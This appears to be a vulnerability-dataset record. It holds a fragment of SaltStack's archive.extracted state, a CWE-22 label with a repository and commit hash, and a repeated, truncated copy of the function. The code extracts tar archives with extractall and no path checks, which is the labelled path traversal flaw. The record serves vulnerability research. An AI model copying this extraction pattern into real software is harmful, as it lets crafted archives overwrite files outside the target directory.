            __salt__['file.makedirs'](name, user=user)
            created_destdir = True

        log.debug('Extracting {0} to {1}'.format(cached_source, name))
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached_source,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached_source,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached_source,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached_source, 'r')) as tar:
                            tar.extractall(name)
                            files = tar.getnames()
                    except tarfile.ReadError:
                        if salt.utils.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-l', cached_source],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached_source)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached_source])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            if os.path.isdir(enforce_ownership_on):
                enforce_dirs = [enforce_ownership_on]
                enforce_files = []
                enforce_links = []
            else:
                enforce_dirs = []
                enforce_files = [enforce_ownership_on]
                enforce_links = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']
                enforce_links = contents['top_level_links']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __states__['file.directory'](full_path,
                                                          user=user,
                                                          group=group,
                                                          recurse=recurse,
                                                          test=__opts__['test'])
                try:
                    dir_result = dir_result[next(iter(dir_result))]
                except AttributeError:
                    pass
                log.debug('file.directory: %s', dir_result)

                if __opts__['test']:
                    if dir_result.get('pchanges'):
                        ret['changes']['updated ownership'] = True
                else:
                    try:
                        if dir_result['result']:
                            if dir_result['changes']:
                                ret['changes']['updated ownership'] = True
                        else:
                            enforce_failed.append(full_path)
                    except (KeyError, TypeError):
                        log.warning(
                            'Bad state return %s for file.directory state on %s',
                            dir_result, dirname
                        )

        for filename in enforce_files + enforce_links:
            full_path = os.path.join(name, filename)
            try:
                # Using os.lstat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.lstat directly will speed
                # things up a bit.
                file_stat = os.lstat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.lchown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
            if not source_is_local and not keep:
                log.debug('Cleaning cached source file %s', cached_source)
                try:
                    os.remove(cached_source)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        log.error(
                            'Failed to clean cached source file %s: %s',
                            cached_source, exc.__str__()
                        )
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)
    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_levle dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    return ret",CWE-22,saltstack/salt,793979cbe699ade4e89083d16371e0d0102957d7,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **Changes for 2016.11.0**

        In earlier releases, this state would rely on the ``if_missing``
        argument to determine whether or not the archive needed to be
        extracted. When this argument was not passed, then the state would just
        assume ``if_missing`` is the same as the ``name`` argument (i.e. the
        parent directory into which the archive would be extracted).

        This caused a number of annoyances. One such annoyance was the need to
        know beforehand a path that would result from the extraction of the
        archive, and setting ``if_missing`` to that directory, like so:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - if_missing: /var/www/myapp-16.2.4

        If ``/var/www`` already existed, this would effectively make
        ``if_missing`` a required argument, just to get Salt to extract the
        archive.

        Some users worked around this by adding the top-level directory of the
        archive to the end of the ``name`` argument, and then used ``--strip``
        or ``--strip-components`` to remove that top-level dir when extracting:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www/myapp-16.2.4
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - tar_options: --strip-components=1

        With the rewrite for 2016.11.0, these workarounds are no longer
        necessary. ``if_missing`` is still a supported argument, but it is no
        longer required. The equivalent SLS in 2016.11.0 would be:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        Salt now uses a function called :py:func:`archive.list
        <salt.modules.archive.list>` to get a list of files/directories in the
        archive. Using this information, the state can now check the minion to
        see if any paths are missing, and know whether or not the archive needs
        to be extracted. This makes the ``if_missing`` argument unnecessary in
        most use cases.

    .. important::
        **ZIP Archive Handling**

        *Note: this information applies to 2016.11.0 and later.*

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0
        .. versionchanged:: 2016.11.0
          The newly-added :py:func:`archive.is_encrypted
          <salt.modules.archive.is_encrypted>` function will be used to
          determine if the archive is password-protected. If it is, then the
          ``password`` argument will be required for the state to proceed.

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite exsiting files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
            The ``tar_options`` and ``zip_options`` parameters have been
            deprecated in favor of a single argument name.
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    tar_options
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    zip_options
        .. versionadded:: 2016.3.1
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    keep : False
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. After extraction, these source archives will be removed
        unless this argument is set to ``True``.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.clean_kwargs(**kwargs)

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip('/')
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if user or group:
        if salt.utils.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    source_hash_basename = urlparsed_source.path or urlparsed_source.netloc

    source_is_local = urlparsed_source.scheme in ('', 'file')
    if source_is_local:
        # Get rid of ""file://"" from start of source_match
        source_match = urlparsed_source.path
        if not os.path.isfile(source_match):
            ret['comment'] = 'Source file \'{0}\' does not exist'.format(source_match)
            return ret

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    tar_options = kwargs.pop('tar_options', None)
    zip_options = kwargs.pop('zip_options', None)
    if tar_options:
        msg = ('The \'tar_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = tar_options
    elif zip_options:
        msg = ('The \'zip_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = zip_options

    if options is not None and not isinstance(options, six.string_types):
        options = str(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output and not isinstance(trim_output, (bool, six.integer_types)):
        try:
            # Try to handle cases where trim_output was passed as a
            # string-ified integer.
            trim_output = int(trim_output)
        except TypeError:
            ret['comment'] = (
                'Invalid value for trim_output, must be True/False or an '
                'integer'
            )
            return ret

    if source_is_local:
        cached_source = source_match
    else:
        cached_source = os.path.join(
            __opts__['cachedir'],
            'files',
            __env__,
            re.sub(r'[:/\\]', '_', source_hash_basename),
        )

        if os.path.isdir(cached_source):
            # Prevent a traceback from attempting to read from a directory path
            salt.utils.rm_rf(cached_source)

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum']('',
                                                         source,
                                                         source_hash,
                                                         source_hash_name,
                                                         __env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

        if source_hash_update:
            if _compare_checksum(cached_source, source_sum):
                ret['result'] = True
                ret['comment'] = \
                    'Hash {0} has not changed'.format(source_sum['hsum'])
                return ret
    else:
        source_sum = {}

    if not source_is_local and not os.path.isfile(cached_source):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be downloaded to cache'.format(source_match)
            return ret

        log.debug('%s is not in cache, downloading it', source_match)

        file_result = __states__['file.managed'](cached_source,
                                                 source=source_match,
                                                 source_hash=source_hash,
                                                 source_hash_name=source_hash_name,
                                                 makedirs=True,
                                                 skip_verify=skip_verify,
                                                 env=__env__)

        log.debug('file.managed: {0}'.format(file_result))

        # Prevent a traceback if errors prevented the above state from getting
        # off the ground.
        if isinstance(file_result, list):
            try:
                ret['comment'] = '\n'.join(file_result)
            except TypeError:
                ret['comment'] = '\n'.join([str(x) for x in file_result])
            return ret

        # Get actual state result. The state.single return is a single-element
        # dictionary with the state's unique ID at the top level, and its value
        # being the state's return dictionary. next(iter(dict_name)) will give
        # us the value of the first key, so
        # file_result[next(iter(file_result))] will give us the results of the
        # state.single we just ran.
        try:
            file_result = file_result[next(iter(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source_match))
